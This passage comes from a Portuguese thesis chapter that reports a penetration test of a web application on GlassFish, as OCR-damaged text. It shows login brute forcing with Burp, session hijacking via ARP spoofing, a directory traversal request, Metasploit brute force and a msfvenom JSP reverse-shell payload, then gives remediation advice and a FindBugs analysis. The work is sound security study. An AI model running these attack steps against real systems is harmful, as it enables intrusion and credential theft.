2 Host: 34,192.244,226 r
S User-Agent: Mozilla/S.0 [X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Cloars
4 hccept: text/htnl,application/xhtml+xnl application/xml;q=0.9,#/+:q=0.8 ([ Clears ]
S Accept-Language: en-US,en:a=0.5
6 hccept-Encoding: gzip, deflate aals]
7 Referer: http://34,192,244,226/WebApplication2/forn_Login.jsp
8 Content-Type: application/x-www-form-urlencoded Refresh
9 Content-Length: 23
10 Connection: close
11 Cookie: JSESSIONID=3245517d46de04c972hTea7sf223
12 Upgrade-Insecure-Requests: 1
13
14 login=8ingridE&senha=525
b
v

@ (€] (2] [seren 0matches | \n Prethy Clear

Figura 5.27 Teste com o Burp Suit.

Na coluna Status, (Figura 5.28), podemos observar que ocorreu um cddigo de retorno
diferente, o 302. Isso significa que houve um redirecionamento de pigina, ou seja, possivelmente

as credenciais sdo corretas e foi encontrada a pagina do usudrio. Sendo o login igual a ingrid e a
senha igual a 123.

10payloads: guia usado para configurar um ou mais conjuntos de carga ttil. Cargas titeis sdo usadas para tarefas
de adivinhacdo de forga bruta da senha, entre outros.
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Intruder attack 11 - o x
Attack Save Columns
_[ Results TTarget T Positions T Payloads T Options ]
| Filter: Showing all items |®

Request 4 | Position | Payload | Status | Errar | Timeout | Length | Comment |
0 200 O [ 333
1 1 admin 200 o o 333
2 1 123 200 o o 333
3 1 root 200 (] ] 333
4 1 toor 200 o o 333
5 1 ingrid 200 o o 333
3 1 michel 200 (] ] 333
7 1 administrador 200 (] O 333
8 1 200 o o 351
9 1 200 (] ] 351
10 2 admin 200 o o 333
11 2 123 302 O O 588
12 2 root 200 (] ] 333
13 2 toor 200 o o 333
14 2 imerid 2000 (] M 233

Request | Response

Raw | Params | Headers | Hex

& Accept-Encoding: gzip, deflate

7 Referer: http://34.192.244,226/WebApplication2/form_login.jsp
Content-Type: application/x-www-form-urlencoded

2 Content -Length: 22

10 Connection: close

\

11 Cookie: JSESSIONID=5245517d46de04c872b7ea7af223

12 Upgrade-Insecure-Requests: 1

13 &/
14 login=ingrid&senha=123 v
®{§} “ = | |Search... 0 matches \n Prett,
Finished [0 —

Figura 5.28 Resultados com a ferramenta Burp Suit.

5.6.3.2 Roubo de Sessao

Neste momento, realizaremos a simulacdo de um roubo de sessao 1 Para tal, utiliza-

remos a ferramenta Wireshark para capturar os dados, (Secao 2.4). O objetivo é capturar as

credenciais dos usudrio que logarem na aplicagdo e utiliza-los para fazer um novo acesso. Na

Figura 5.29, apresenta o resultado da execugdo do Wireshark que retorna informagdes de host,

navegador, cookie, entre outros. O valor mais importante para o estudo em questao sio os cookies

que identificam os usudrios retornando as credenciais dos mesmos. Sendo que cada usudrio com

uma conexao legitima com o host possui um /D de sessdo. Logo, o objetivo é roubar o ID de

sessdo para obter 0s cookies que possuem informagdes sensiveis.

"Roubo de Sessio caracteriza-se quando um invasor intercepta e assume uma sesso legitimamente estabelecida
entre um usudrio e um host. Com o sucesso do roubo de sessdo, o invasor pode monitorar o trafego na rede, coletar

e/ou injetar dados. Na Se¢do 2.3.3 hd mais explicag@o sobre esse ataque.



112 APRESENTACAO E ANALISE DOS RESULTADOS

[W]http.request.method == "POST" [X] -]+
No. Time Source Destination Protocol Length Info
E 55 20.757789939 192.168.15.7 34,192,244, 226 613 POST /WebApplication2/gerenciar_login.do HTTP/1.1 (application/x-w..

+ POST /WebApplication2/gerenciar_login.do HTTP/1.1\r\n -
Host: 34.192.244.226\r\n

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:68.0) Gecko/20100101 Firefox/68.0%\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8\r\n
Accept-Language: en-US,en;g=@8.5\r\n

Accept-Encoding: gzip, deflateirin

Referer: http://34.192.244.226/WebApplication2/form_login.jsp\rin

Content-Type: application/x-www-form-urlencodedirin

Content-Length: 22%r\n

Connection: closeirin

Cookie: JSESSIONID=5694Te538a81175dTT158686e318N\r\n

Upgrade-Insecure-Requests: 1\rin
\rin

Figura 5.29 Usando a ferramenta Wireshark.

A captura dos cookies pode ser feita via rede local ou por session hijacking, que
caracteriza-se pelo envio de um /ink contendo cddigo malicioso. Nesse caso, foi utilizado
o ataque em rede local por meio de ARP spoofing '2. Para melhor entendimento do ataque
ARP spoofing é apresentado a Figura 5.30. Na Figura € ilustrado o trafego normal de uma

comunicagdo entre o cliente e roteador.

Conexao original

< > @

Roteador

Cliente

IP: 192.168.1.10 IP: 192.168.1.9

00:0a:95:9d:68:16 00-14-22-01-33-90.

] Tabela ARP = Tabela ARP
IP: 192.168.1.9 IP: 192.168.1.10
00-14-22-01-33-90. 00:0a:95:9d:68:16

Figura 5.30 Conexao entre cliente e roteador.

2ARP spoofing é uma técnica que emite pacotes ARP falsos para alterar a tabela ARP e beneficiar o atacante.
Mais informacdes informagdes encontra-se no WELIVESECURITY (2017)
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Na préxima Figura, (Figura 5.31), o atacante realiza o ataque ARP Spoofing. O ataque
consiste basicamente em quatro etapas: Primeiro, o invasor abre uma ferramenta de falsificacdo
de ARP e define o endereco IP da ferramenta para corresponder a sub-rede /P de um alvo.

Segundo, o invasor usa a ferramenta ARP spoofing para verificar os enderecos IP e MAC
dos hosts na sub-rede do alvo. Terceiro, o invasor escolhe seu alvo e comeca a enviar pacotes
ARP 13 pela LAN que contém o endereco MAC do invasor e o endereco IP do alvo. Por fim,
como outros hosts na LAN armazenam em cache os pacotes ARP falsificados, os dados que esses

hosts enviam a vitima irdo para o invasor. A partir dai, o invasor pode roubar dados.

r Y
2]
>
an
(=]
g
o

w g

Roteador

Cliente
IP: 192.168.1.10 IP: 192.168.1.9
00:0a:95:9d:68:16 00-14-22-01-33-90.
= Tabela ARP |= Tabela ARP
IP: 192.168.1.9 IP: 192.168.1.10
00-14-22-01-23-45. | 00-14-22-01-23-45.

Atacante

IP: 192.168.1.8

00-14-22-01-23-45.

Figura 5.31 Ataque Arp Spoofing.

130 pacote ARP serve para verificar se o enderego MAC, endereco MAC é um identificador fixo e exclusivo
atribuido a cada placa de rede, que estd indicado no cabegalho é 0 mesmo da maquina de destino.
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Ap6s a execugdo da ferramenta, os dados capturados pelo Wireshark foram adicionados
na aba Request. A aba Request simula o browser, entretanto as requisi¢cdes sao feitas manual-
mente, facilitando a modifica¢do de parametros a serem enviados, (Figura 5.32). Ap0s realizar a
requisi¢do com o cookie do usudrio a pagina foi exibida como se fosse de um usudrio verdadeiro,
(Figura 5.33 ). Desta forma, € apresentado o roubo de sessdo no qual o invasor rouba o id de

sessdo de um usudrio legitimo e intercepta os cookies do usudrio possibilitando a alteracdo das

requisicoes com o servidor web. Assim, o invasor assumir o papel do usudrio legitimo.

Request

_[ Flaw T P ararms T Headers T Hex ]

L=y I ¥ LR S S

3 WO

GET /Mebipplication2/index. jsp HTTR/L.1

Host: 34,192 244, 226

User-Agent: Mozilla/s5. 0 (X11; Linux x86_64; rv:G62.0) Gecko/20100181 Firefox/62.0
Accept: text/html, application/xhtml+xml, application/xml; cE@. 9, * /%, 0. 8
Accept-Language: en-US, en; cFl. 5

Accept -Encoding: gzip, deflate

Referer: http: //34.192 244 226/ebipplication2/form_login. jsp

Connection: close

Cookie: JSESSIONID=S5624fe538a281175df f1586286318

Upgrade-Insecure-Requaests: 1

e

Figura 5.32 Resultado ap6s a execucdo da ferramenta Wireshark.

Response

_[ Raw T Headers T Hex T Render ]

[y I LI TR N

[£5]

HTTP/1.1 200 0K

Server: GlassFish Server Open Source Edition 4.1.1
X-Powered-By: 1SP/2.3

Content-Type: text/html;charset=UTF-2

Date: Monm, 13 Jul 2020 01:19:57 GMT

Connection: close

Content -Length: 2052

=IDOCTYPE html=

<htmlL=
<head=
=meta http-equiv="Content -Type" content="text/html; charset=UTF-8"/=
=meta content="width=device-width, initial-scale=1l, maximum-scale=l, use-scalable=:
=title=
15F Page
“ftitle=
=link rel="styleshest" href="hbootstrap/css/bootstrap. min. css" />
=link rel="styleshest" href="hbootstrap/css/bootstrap-theme. min. css" />

Figura 5.33 Resultado apds a execugdo da ferramenta Wireshark.
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5.6.3.3 Directory Transversal

Outro ataque realizado no sistema RRG Construcdes é o Directory Transversal '

que
permite o acesso aos diretdrios raizes. Essa vulnerabilidade foi detectada na versao 4.1 do
servidor GlassFish ( servidor de aplicagdo utilizado pelo sistema ) e possibilita ao atacante: listar
e visualizar o conteido a partir do driver C:.

Baseado na Secdo 5.6.1 foi possivel identificar o nome e versao do servidor GlassFish e
identificar uma falha, conhecida pela CVE 2017-1000028, que explora a versao que estd sendo
executada.

No sistema estudado, a entrada é recebida de navegadores por meio de métodos de
solicitagdo GET ou POST. Com base nisso, foi realizado uma requisi¢do personalizada ao
servidor web, (Figura 5.34), contendo caracteres especiais na url. Esses codificadores %c0%af, (
Figura 5.34), auxiliam a aplica¢@o na hora de interpretar a requisi¢do e ndo confundir caracteres
na url. A traducgdo dessa expressdo decodificada nos caracteres de 8 bits significa o simbolo “\”

nos servidores web que possibilitam o acesso ao diretorio raiz do sistema.

Re que st

_[ Raw T Pararns T Headers T Hex ]

1 GET

Stheme/META - INF%c @fsaf %o Pas%c (Fias%c 0%al %o (faskc Pac’sc Pfal sc Phackc Chactc (af % Phac®sc Peacsc Csal e Chactc (hacke Osal % Paas
% (Feaetc af %o Dhactic PFac c faf % c 0fae®c Dhactic PFaf % c fsae’s c Ofae®sc Dsaf o Peaetc P D%af windows%c @%af HTTP/1. 1
Host: ec2-34-192-244-226. compute-1. amazonaws. com: 4848

User-Agent: Mozilla/5.8 (X¥11; Linux x26_&4; rv:62.0) Gecko/20100101 Firefox/E8.0

Accept: text/html,application/xhtml+xml, applications/xml; q=0. 3, */*; c=0. 8

Accept-Language: en-US en;F0. 5

Accept-Encoding: gzip, deflate

Cornection: close

Cookie: JSESSIONID=c31f270cl0efbbe208ac2a83edas

Upgrade-Insecure-Requests: 1

Te

T bW R

=]

= w

Figura 5.34 Ataque Directory Transversal.

Ap6s a requisicdo, € retornado o resultado com os arquivos e pastas do diretdrio raiz do
servidor, (Figura 5.35) . Assim, € apresentado mais uma vulnerabilidade grave no sistema por

meio do ataque Directory Transversal.

Y Directory traversal ou Path Traversal é um ataque HTTP que permite aos invasores acessarem diretérios
restritos e executarem comandos fora do diretério raiz do servidor web ACUNETIX (2017).
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Response

J Raw T Headers T Hex T Render ]

1 HTTP/1.1 20@ 0K

2 Server: GlassFish Server Open Source Edition 4.1.1

2 X-Powered-By: Servlets2.1 15P/2.2 (GlassFish Server Open Source Edition 4.1.1 Java/Oracle Corperation/l.2)
4

&

Jr

Last-Modified: Sat, 12 Jul 2020 12:48: 37 GMT
5 Date: Men, 27 Jul 2020 00: 23: 33 GMT
Connection: close
7 Content-Length: 1894

2 ADFS

10 appcompat

11 AppPatch

12 AppReadiness

12 assembly

14 bcastdvr

15 bfsvc. exe

15 Boot

17 bootstat. dat

12 Branding

12 ChsTemp

20 Cluster

21 Cursors

22 debug

22 DfsrAdmin. exe

24 Dfsradmin. exe. config
25 diagnostics

26 DigitalLocker

27 Downloaded Program Files

Figura 5.35 Directory Transversal.

5.6.3.4 Metasploit

O Metasploit € um projeto de seguranca que foi desenvolvido para andlise de vulnerabili-
dades, (Secao 2.4). Com seu uso € possivel realizar testes de invasdo (Pentests), indo de um scan
mais simples até uma andlise ou invasdo completa. Ele ja vem instalado nas distribui¢do Kali
Linux, Backtrack e Parrot que sdo utilizadas para testes de seguranca. Com intuito de ilustrar a
vulnerabilidade de acesso aos diretdrios raizes do sistema, ja demonstrado na secio anterior, foi
usado o médulo auxiliar do Metasploit.

Para execucdo da ferramenta na maquina Linux foi selecionado o médulo com o comando
use, o IP do alvo, o caminho, o nome do teste e, por fim, o médulo foi executado com o comando
run, conforme a Figura 5.36. Observa-se que nao foi necessario adicionar a URL codificada com

todos aqueles caracteres para a ferramenta, pois 0 médulo ja possui esses parametros prontos.

(1@
liary module cution comple
®xiliary(

Figura 5.36 Usando Metasploit.
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Apds a execugdo, a Figura 5.37 mostra o conteido do arquivo gerado, ou seja, o conteddo
da pasta raiz no servidor. Sendo assim, com a utilizacio de outra ferramenta fica comprovada a

vulnerabilidade grave de acesso aos diretdrios raizes no sistema RRG Construgao.

oracle.traversal_53
ADFS

appcompat

AppPatch
AppReadiness
assembly

bcastdvr

bootstat.dat

Branding
CbsTemp
Cluster

Cursors

debug

Dfsradmin

Dfsradmin

diagnostics
DigitallLocker

Downloaded Program Files
DPINST.LOG

Figura 5.37 Usando Metasploit.

5.6.3.5 Login no GlassFish

Na Secdao 5.6.3.3, foram encontradas informac¢des de vulnerabilidades no servidor
GlassFish. Diante disso, foi desenvolvido um script em Python, (Figura 5.38 ), para resgatar o
login no servidor de aplicacdo em questao. O c6digo do script faz uma requisi¢do ao servidor
utilizando a biblioteca urllib2 que é um cliente HTTP poderoso do Python. Conforme a Figura
5.38, o script verifica se hd SSL implementado no sistema, caso esteja utilizando o SSL na pégina,
o Python implementa a biblioteca importada. Apés essa verificagdo, sdo declaradas as varidveis
“host”, que representa a maquina virtual onde estd hospedado o sistema, “path”, a URL codificada,
e “file”, € o caminho para o arquivo de senhas do GlassFish. Essas varidveis sdo combinadas
com a finalidade de adivinhar a senha do servidor de aplicagdo.

Ap6s executar do script, (Figura 5.39 ), € retornado o arquivo de senha administrativa
do servidor. Esse arquivo veio com criptografia SHA256. ' Para descriptografar o arquivo e
conseguir a senha demandaria tempo e processamento para encontrar a hash que venha a coincidir
com a mesma senha. Por ser uma hash, ndo € possivel descriptografar, porém € possivel assimilar
palavras criptografas em SHA256 e compara-las. Neste caso, ndo utilizaremos esse método para
tentar acessar o painel administrativo do servidor GlassFish. Porém, foi demonstrado que com

um simples script podemos obter as senhas de acesso ao servidor.

I5Hash SHA256 é semelhante ao algoritmo MDS5 e gera um hash de 256 bits.
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t urllib2

ssl

t os.environ.get(
o

l._create_default_https_context = ssl._create_unverified_context

path

combined = host + path +
url = urllib2.urlo (combined)

( ) + combined
html = wrl.readlines()

html

Figura 5.38 Script em Python.

Figura 5.39 Resultado do script em Python.

5.6.4 Poés-exploracao

Ap6s a exploracdo de vulnerabilidades por meio de ferramentas e scripts, apresentada na
se¢do anterior, inicia-se a dltima fase, Pés-exploragcao. Nesta fase tiramos proveito das sessoes

abertas e exploradas para extrair informac¢des, como: senhas, arquivos, entre outros.

5.6.4.1 Brute Force Metasploit

Uma das formas mais populares de obter acesso a um alvo € através do uso de ataques
de senha (Brute Force), que consiste em tentar automaticamente e sistematicamente adivinhar
o nome de usudrio e a senha para um servi¢o. O objetivo desse ataque € acessar o servidor
GlassFish para extrair dados confidencias do sistema. Para tal ataque utilizaremos os médulos

da ferramenta Metasploit.

A ferramente Metasploit funciona da seguinte forma: apds sua execugao ela tenta algumas
senhas padroes e outras definidas pelo diciondrio de palavras. Se ela for capaz de se autenticar
em um servico com uma credencial, a credencial serd salva no projeto e um login para o servigo
serd criado. Ela continua a execucdo da lista de credenciais até que todas as credenciais tenham

sido tentadas ou até atingir um limite que usudrio definiu.
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16

Pararealizar o ataque foram utilizados auxiliares *® com o comando use auxiliary/scanner/http/glassfis

login, (Figura 5.40 ), logo apds, listadas as op¢des disponiveis para tal comando.

scanner/http/gl
show options

Module options (auxili: canner/http/glassfish_login):

Name Current tting Required Description

false no
5 yes
false no

false no Add all passwords in the current database to the 1i

false Add all users in the current database to the list

The target host(s), range CIDR identifier, or hosts

Try the username as the password for all users
File containing usernames, one per line

Figura 5.40 Usando a ferramenta Metasploit para ataques de Forca Bruta.

Mostrado as opcdes do comando, € definido o caminho do arquivo que contém o diciond-
rio, set PASS-FILE /usr/share/wordlist/rockyou.txt, o IP do servidor, o usudrio e a flag que faz o
ataque parar ao encontrar as credencias corretas, (Figura 5.41 ). Depois de executado, foram
encontradas as credenciais: usudrio admin e senha changeit. Essa senha € a padrao de acesso ao
servidor.

Com as credenciais obtidas, € possivel acessar o painel administrativo do servidor,
(Figura 5.42). Apo6s o login é demonstrado a pagina com acesso total ao GlassFish, (Figura
5.43). Portanto, é demonstrado uma grave vulnerabilidade no servidor GlassFish. Todo esse
nivel de acesso permite obter, destruir ou adicionar dados no servidor. Uma das propostas de

solucdo para a vulnerabilidade € a utilizacdo de politicas de senhas.

16 Auxiliares sdo pequenos scripts usados no Metasploit. que ndo criam um shell na maquina da vitima. Eles
apenas fornecem acesso a maquina se o ataque de forga bruta for bem-sucedido.



120 APRESENTACAO E ANALISE DOS RESULTADOS

msf5

Figura 5.41 Ataque de For¢a Bruta no servidor GlassFish.

GlassFish™ Server Open Source Edition
Administration Console

User Name: admin

Password: [ Ty

Created by Oracle with contributions from
the GlassFish community

Figura 5.42 Tela de login do GlassFish.



5.6. EXECUCAO DO TESTE DE PENETRACAO 121

User: admin  Domain: domainl = Server: 34.192.244.226

GlassFish™ Server Open Source Edition
€

= common Tasks .
GlassFish Console - Common Tasks
@ Domain
server (Admin Server)
ﬁ Clusters
Standalone Instances GlassFish News Documentation
* B Nodes
. GlassFish News Open Source Edition Documentation Set
[] Applications
% Lifecycle Modules T Quick Start Guide
eployment
Monitoring Data = Administration Guide
v Resources List Deployed Applications
& Application Development Guide
* [§ Concurrent Resources Deploy an Application
> & Connectors Application Deployment Guide
> B JoBC Administration
* g VS Resources Update Center
Change Administrator Password
> [ INDI Installed Components
JavaMail S List Password Aliases
B JavaMall Sessions Available Updates
& Resource Adapter Configs
v 8 Configurations Monitoring Available Add-Ons

Figura 5.43 Tela de acesso ao GlassFish.

5.6.4.2 Acesso a maquina

Apo6s a demonstracao do ataque de forga bruta, outra op¢do que o atacante pode tentar
€ 0 acesso ao servidor, nesse caso uma maquina Windows. Nesta secdo serd feito o acesso a
maquina Windows a partir da falha no servidor Glassfish.

Para acesso a maquina Windows, € preciso criar um payload com o comando msfvenom,
(Figura 5.44). O payload € uma carga de dados como a carga de um pacote TCP e contém
nele os dados importante para uma conexao. O comando msfvenom cria um payload em Java
que retorna um shell reverso em TCP. Além disso, é adicionado o /P e porta que vai iniciar a
conexdo. Os parametros LHOST e LPORT significam respectivamente host local e porta local,
ou seja, o payload iré iniciar uma conexao com o host ( LHOST ) na porta 2000. Observe que foi
adicionado um [P publico, pois como as maquinas estdo em redes diferentes € preciso utilizar

um NAT '7 no equipamento de borda, redirecionando para a maquina interna do atacante.

:~$% msfvenom -p java/jsp_shell_reverse_tcp LHOST=177.133! @ -f war > shell_j

Figura 5.44 Criando Payload.

Ap6s a criagdo do payload, é feito o upload do arquivo com extensao .war. Depois disso,
esse arquivo aparecerd como uma aplicacdo na tela Deploy Applications or Modules. Esta tela
possibilita ao administrador instalar aplicativos que o servidor possa executar. Assim, 0 arquivo
aparecerd ao lado da sistema RRG Constru¢ao que também estd rodando no servidor, conforme
a Figura 5.45.

"Network Address Translation (NAT) é uma técnica que consiste em reescrever, utilizando-se de uma tabela hash,
os enderecos /P de origem de um pacote que passam por um roteador ou firewall de maneira que um computador de
uma rede interna tenha acesso ao exterior ou a internet (OFICINA, ?7?777?).
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Applications
Applications can be enterprise or web applications, or various kinds of modules. Restart an application or module by clicking on the reload link. this action will apply only to the
targets that the application or module is enabled on

Deployed Applications (2)

|av) 8 ) Deploy....| Undeploy = Enable  Disable Filter: h

Selecl‘ Name [ ‘ Deployment Order + ‘ Enabled + ‘ Engines + ‘Acﬂon
‘WebApplication2 100 X web | Redeploy | Reload

ﬁa\fs 100 v web Launch | Redeploy | Reload

Figura 5.45 Tela Deploy Application or Modules listando o arquivo .war-.

Ja no Kali Linux, sistema operacional usado para testes de seguranca, foi criado, na
ferramenta Metasploit, um moédulo para receber a conexao reversa do payload, (Figura 5.46).
Primeiramente, foi usado um exploit 18 logo depois, adicionado o IP da maquina local, a porta e,

por fim, com o comando exploit -j foi deixado a conexdo em background para iniciar o paylaod.

neric/shell_rever

=
LA
=+
[%a]

-
I
(S I 4

-+ O

set LPORT 2000

=

LPOR
£5

ploit( } > exploit -j
Exploit running as background job @.
Exploit completed, but no session was created.

=
L

Started reverse TCP handler on 192.168.15.11:

Figura 5.46 Modulo para receber a conexao reversa do payload.

No servidor, foi clicado no link - "Launch", (Figura 5.47). Este link direciona a outros

links, (Figura 5.48), logo depois, foi clicado no primeiro link.

Applications
Applications can be enterprise or web applicati
targets that the application or module is enabl

r various kinds of modules. Restart an application or module by clicking on the reload link, this action will apply only to the

Deployed Applications (2)
|87 [B | Deploysss| | Undeploy | Enable | Disable Filter: hd
Selecl‘ Name 1 ‘ Deployment Order 1 ‘ Enabled 1 ‘ Engines
WebApplication2 100 x web | Redeploy | Reload

shell_java 100 v web Laulich | Redeploy | Reload

Figura 5.47 Tela Deploy Application.

1 ‘ Action

Em seguida, ao observar o terminal do atacante, a conexao foi aberta com a maquina
Windows onde estd hospedado o GlassFish, Figura 5.49. Ao iniciar uma conexao, é criado uma

sessdo, no Metasploit, que pode ser listada com o comando sessions -1.

18 Exploit sio programas preparados especificamente para tirarem proveito de vulnerabilidades encontradas nos
softwares, permitindo a execugdo de c6digo maligno e consequentemente a invasdo na maquina (RAPID7, 2017).
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Web Application Links

Web Application Links
i + or liStener is not running, th

Application Name: shell_java r

Links: [server] hitp:/ECZAMAZ-26MHAAQ:B0Vshell_java
[server] hitps: /EC2ZAMAZ -26MH4AQ :B1ELshell_java

Close

Figura 5.48 Tela Deploy Application.

—E 2
o I |n

i

20
shell sion 1 opened (19

Name : Information
Connection

shell o, Microsoft Windows [Versi L 16 Microsoft oration.
D = 34.1 244,236

Figura 5.49 Abertura de conexao.
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Para selecionar a sessdo € utilizado o comando sessions -i 1, sendo o nimero 1 o id da
sessdo, (Figura 5.50 ). Observe que ao selecionar a sessdo foi aberto o cmd do Windows na qual
foi possivel rodar o comando ipconfig e identificar que o atacante conseguiu o acesso aquela
méaquina onde estava rodando o servidor vulnerdvel. Assim, ¢ demonstrado que um servidor
vulnerdvel ndo oferece perigo somente para as informacdes disponiveis no sistema, mas também

para o computador onde esta hospedado o servigo.

msf5 exploit(

Active sessions

Name Type Information
Connection

2016 Microsoft Corporation.

C:\Program File
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
Connection-specific DNS € €

Link-local IPv6 Address HIR B:9fe5:eeba:959ck7

IPv4 Addr : 17

Figura 5.50 Terminal do atacante.
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5.6.5 Relatoério do Teste de penetracio

Nesta Secdo contém informacdes de escopo do projeto, ferramentas utilizadas, datas e
horas dos testes, lista de todas as vulnerabilidades identificadas e exploradas, e recomendacdes

para execugdo de melhorias.

5.6.5.1 Sistema alvo

O sistema alvo € o sistema RRG Construg¢do que esta hospedado na maquina virtual

Windows. A seguir € apresentado a Tabela 5.6.5.1 com o endereco da aplicacdo e do servidor:

Aplicacao 34.192.244.226/webApplication2/
Painel servidor 34.192.244.226/

5.6.5.2 Metodologia

Sabendo que existem diversas metodologias para realizar testes de seguranga, como:
OSSTMM, OWASP, NIST 800-115, entre outros. Neste teste foram utilizados uma metodologia
baseada no OWASP '°, porém reduzida. A Figura 5.51 apresenta a metodologia do teste,
composta de: sondagem e mapeamento, identificacdo de vulnerabilidade, exploracdo e pos-
exploracdo. Na Figura 5.51, o tamanho das caixas representa o tempo gasto em cada etapa do

teste.

Ve N :j/ N\ V. \
Y
Sondagem e Identificagao de Exploracio Pés exploracio
mapeamento vulnerabilidade P g P G
"'\, )
\\ / "\\\-7 / \\\ /

Figura 5.51 Metodologia.

190 OWASP utiliza uma metodologia baseada na classificagio do risco para priorizar sua lista Top 10, que é
atualizada periodicamente. Além de identificar os ataques de maior risco, 0 OWASP faz recomendacdes de seguranca
para evita-los.
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5.6.5.3 Ferramentas

Diversas ferramentas foram utilizadas para completar o Pentest. 20 A seguir é apresentado

a tabela com as ferramentas utilizadas, (Tabela 5.6.5.3) .

Enumeracdo e PortScanning Nmap, Curl e Dirb
Automacgao de tarefas Python e Shell Script
Identificacao de vulnerabilidade Nmap e Nikto
Exploracao Burp Suit, Wireshark e Metasploit

5.6.5.4 Auséncia de credenciais fortes para acesso do administrador

O resultado do teste de forca bruta no formulério, Figura 5.28, mostrou que a senha para
a pagina administrativa do site € muito simples, pois caso o atacante conheca, pelo menos um
pouco sobre a pessoa que administra o sife, por exemplo: o nome e idade, j4 teria em maos dados
suficientes para tentar o acesso. Diante disso, é necessdrio a implementacdo urgente de politicas

de senhas, dentre essas politicas algumas sdo:
» Escolha de senhas fortes;
» Utilizacdo de letras, nimeros e caracteres especiais;
» Troca de senhas em um determinado periodo.

Além de boas praticas dos usudrios, € necessdrio a implementagdo de software no sistema

com a finalidade de garantir seguranca, dentre elas estao:
» Limite de tentativas de login;
» Implementacio de Captcha *' ;

» Autenticacdo de multiplos fatores

5.6.5.5 Auséncia de criptografia

A Secdo 5.6.3.2 mostra a captura de cookies usando a ferramenta Wireshark. Esse
método possibilitou o roubo de sessdo dos usudrios legitimos. Assim, caso o sistema nao proteja
os dados trocados entre o host cliente e a aplicacao, eles podem ser facilmente interceptados

culminando em riscos para ambos. Entretanto, hd maneiras de se proteger, sdo elas:

» Uso de HTTPS para proteger a troca de ID das sessdes contra qualquer tipo de ataque

que procure interceptar as informagdes, como o man-in-the-middle;

20 penetration Test (Teste de Penetragdo, em tradugio literal).

21 Captcha funciona como uma espécie de teste em que a maquina propde uma questio que, presumivelmente,
somente um ser humano seré capaz de responder corretamente. Ele servem como uma ferramenta auxiliar para
evitar spam ou mensagens disparadas por outros computadores (NETO, 2016)
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= No momento de setar o cookie na pagina é preciso ficar atento as configuracoes e
recurso que ele oferece, por exemplo: o recurso Secure autoriza o envio de cookies
somente via HTTPS. Também o HttpOnly ndo permite que o cookie seja acessado via
DOM. Além disso, existe o Domain e Path que instrui o navegador a enviar o cookie

para apenas os dominios e subdominios especificados;

= O tempo de sessdo deve ser curto. Quanto menor o tempo de uma sessdo, menor serd

0 tempo que o atacante tera para obter os dados do usudrio.

5.6.5.6 Falha no servidor GlassFish

Conforme a Se¢do 5.6.3.3, foi possivel acessar o diretdrio do sistema se aproveitando da
falha no servidor GlassFish. Muitos aplicativos que colocam a entrada do usudrio em caminhos
de arquivo implementam algum tipo de defesa contra ataques de travessia de caminho, e estes

podem ser contornados. Algumas maneiras de prevenir essa vulnerabilidade sdo:

= Evitar a passagem de dados passados pelo o usudrios que tenha como destino as APIs

do sistema. O aplicativo deve validar a entrada do usudrio antes de processa-la.

» Nao armazenar arquivos antigos, confidenciais ou ndo publicos em seu servidor da
web. Os Unicos arquivos que devem estar em sua pasta Vitdocs ou DocumentRoot sao
aqueles necessdrios para que o site funcione corretamente. Esses arquivos ndo devem
conter informacdes confidenciais que o administrador do site ndo deseja que venha a

publico.

= Configurar seu arquivo robots.txt para evitar que mecanismos de pesquisa, como

Google, rastreiem as dreas mais confidenciais do seu site.

» Certificar-se de que seu servidor web esteja configurado corretamente para permitir
acesso publico apenas aos diretdrios necessarios para o funcionamento do site. Os
privilégios minimos sdo essenciais aqui, portanto, forneca acesso apenas aos arquivos

e diretOrios necessarios.

= Os servicos devem estar sempre atualizados e com versdes estaveis e mais recentes.
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5.7 Analise de Cédigo

A andlise de c6digo € um procedimento para localizar bugs e detectar inconsisténcias no
c6digo-fonte??. Para realizar esse procedimento utilizaremos a ferramenta FindBugs>>. Ap6s a
instalacdo do software, no canto superior em Arquivos - Novo Projeto, Figura 5.52, o cédigo

fonte a ser analisado é selecionado.

it New Project

Project name (i.e., description}

Class archives and directories to anahlze

Add

g
3
!

Auziliary class locations

Add

&
=
3

Source directories

:

Add

Finish Cancel I

Figura 5.52 Caixa de dial6go inicial do FindBugs

Apods a execucdo sdo apresentados os resultados (Figura 5.53). No canto superior
esquerdo hd os bugs encontrados, separados por categorias, na parte inferior hd uma caixa de

texto para adicionar comentdrios. Mais abaixo hd a explicacao dos bugs.

22Na Secdo 2.5.4 ha mais explicacdes sobre esse método.

23FindBugs é um software livre que usa andlise estdtica para procurar erros no cédigo Java (FINDBUGS, 2015).
Ela possui diversos plugins com ambiente de desenvolvimento, como: NetBeans e Eclipse. Contudo, neste trabalho
executaremos a ferramenta localmente.
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Eile Edit View Navigation Designation Help

Class name filter: ‘ H Filter ‘t

Group bugs by: | Bug Pattern | Category | <> | Designation | Bug Rank | Bugkina | |

=] Bugs (112) |~
9 [C] Dead store to local variable (3)
(=1 Dodgy code (3) T
@ Dead store to novo in Control GerenciarMenuPerfil doGet(HttpSenletRequast, ||
@ Dead store to novo in Contral. GerenciarPerfil. doGet{HttpSenletRequest, HiipS
@ Dead store to u in Control.GerenciarLogin.doPost(HtipSendetRequest, HitpSe
o~ [ Empty database password (1)

?ﬁﬁem names should start with a lower case letter (2 I ol
1 n r

[T

av

No cloud selected

‘ Enable cloud plugin.

T[]

= [ \| Find H Hext H Previous

av
R AL LR et stings¥| ethod concatenates strings using + in a loop =
At Gerenciarlogin javalline 42]
[ ogin doPostH . Hitpseryl | 1 Metnod seems to be building a String using concatenation in a loop. In each feration, the String is converted to a StingBufteriStringBuider, appendedto, and
converted back to a String. This can lead to a cost quadratic in the number of iterations, as the grawing string is recopied in each iteration
Better performance can be obtained by using a StringBuffer (or StringBuilder in Java 1.5) explicitly.
For example: =
A This is bad
Strings =™
for (inti = 0; i =field.length; ++) {
5 =g +field[l]; =
H
1 This is better
4] T D S1ringEluﬁer_buf: new StringBuffer(); =l
http:iifindbugs.sourceforge.net ’ﬁ'y UD N,I Q_[ VRE‘_RrIS ‘A Yr H)OF

Figura 5.53 Resultado da anélise de c6digo

A ferramenta permite gerar um relatorio dos resultados em XML ou HTML. A Figura
5.54 apresenta uma parte do relatério com as colunas: projectName que mostra o nome do projeto,
Jjar o caminho do projeto no computador, type € o tipo de bug. Por exemplo: na primeira linha o
type DLS DEAD LOCAL STORE significa armazenamento inoperante na variavel local (Dead
